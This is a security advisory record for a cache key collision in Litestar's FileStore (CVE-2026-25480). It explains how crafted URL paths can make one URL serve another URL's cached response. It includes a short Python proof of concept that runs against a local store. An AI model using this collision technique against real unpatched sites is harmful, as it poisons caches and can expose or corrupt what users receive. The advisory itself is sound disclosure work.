{"id":"GHSA-vxqx-rh46-q2pg","summary":"Litestar's FileStore key canonicalization collisions allow response cache mixup/poisoning (ASCII ord + Unicode NFKD)","details":"### Summary\nFileStore maps cache keys to filenames using Unicode NFKD normalization and ord() substitution without separators, creating key collisions. When FileStore is used as response-cache backend, an unauthenticated remote attacker can trigger cache key collisions via crafted paths, causing one URL to serve cached responses of another (cache poisoning/mixup)\n\n### Details\nlitestar.stores.file._safe_file_name() normalizes input with unicodedata.normalize(\"NFKD\", name) and builds the filename by concatenating c if alphanumeric else str(ord(c)) (no delimiter).\nThis transformation is not injective, e.g.:\n\n- \"k-\" and \"k45\" both become \"k45\" (because - ord('-') == 45)\n- \"k/\\n\" becomes \"k4710\", colliding with \"k4710\"\n- \"K\" (Kelvin sign) normalizes to \"K\", colliding with \"K\"\n\nWhen used in response caching, the default cache key includes request path and sorted query params, which are attacker-controlled.\n\n### PoC\n\n```\nimport asyncio, tempfile\nfrom litestar.stores.file import FileStore\n\nasync def main():\n    d = tempfile.mkdtemp(prefix=\"ls_filestore_poc_\")\n    store = FileStore(d, create_directories=True)\n    await store.__aenter__()\n\n    # 1) ASCII ord-collision: \"-\" -\u003e 45\n    await store.set(\"k-\", b\"A\")\n    v = await store.get(\"k45\")\n    print(\"k-  -\u003e\", v)\n    print(\"k45 -\u003e\", await store.get(\"k45\"))\n    if v == b\"A\":\n        print(\"VULNERABLE: 'k-' collides with 'k45'\")\n\n    # 2) NFKD collision: Kelvin sign -\u003e K\n    await store.set(\"K\", b\"B\")   # U+212A\n    v2 = await store.get(\"K\")\n    print(\"K -\u003e\", await store.get(\"K\"))\n    print(\"K -\u003e\", v2)\n    if v2 == b\"B\":\n        print(\"VULNERABLE: 'K' collides with 'K' (NFKD)\")\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n```\n\n### Impact\nVulnerability type: cache poisoning / cache key collision.\nImpacted deployments: applications using Litestar response caching with FileStore backend (or any attacker-influenced keying into FileStore).\nPossible impact: serving incorrect cached content across distinct URLs, potential confidentiality/integrity issues depending on what endpoints are cached.","aliases":["CVE-2026-25480","PYSEC-2026-2197"],"modified":"2026-07-13T07:26:32.411208744Z","published":"2026-02-09T17:19:06Z","database_specific":{"github_reviewed_at":"2026-02-09T17:19:06Z","nvd_published_at":"2026-02-09T20:15:57Z","cwe_ids":["CWE-176","CWE-20"],"severity":"MODERATE","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/litestar-org/litestar/security/advisories/GHSA-vxqx-rh46-q2pg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25480"},{"type":"WEB","url":"https://github.com/litestar-org/litestar/commit/85db6183a76f8a6b3fd6ee3c88d860b9f37a2cca"},{"type":"WEB","url":"https://docs.litestar.dev/2/release-notes/changelog.html#2.20.0"},{"type":"PACKAGE","url":"https://github.com/litestar-org/litestar"},{"type":"WEB","url":"https://github.com/litestar-org/litestar/releases/tag/v2.20.0"}],"affected":[{"package":{"name":"litestar","ecosystem":"PyPI","purl":"pkg:pypi/litestar"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.19.0"},{"fixed":"2.20.0"}]}],"versions":["2.19.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-vxqx-rh46-q2pg/GHSA-vxqx-rh46-q2pg.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N"}]}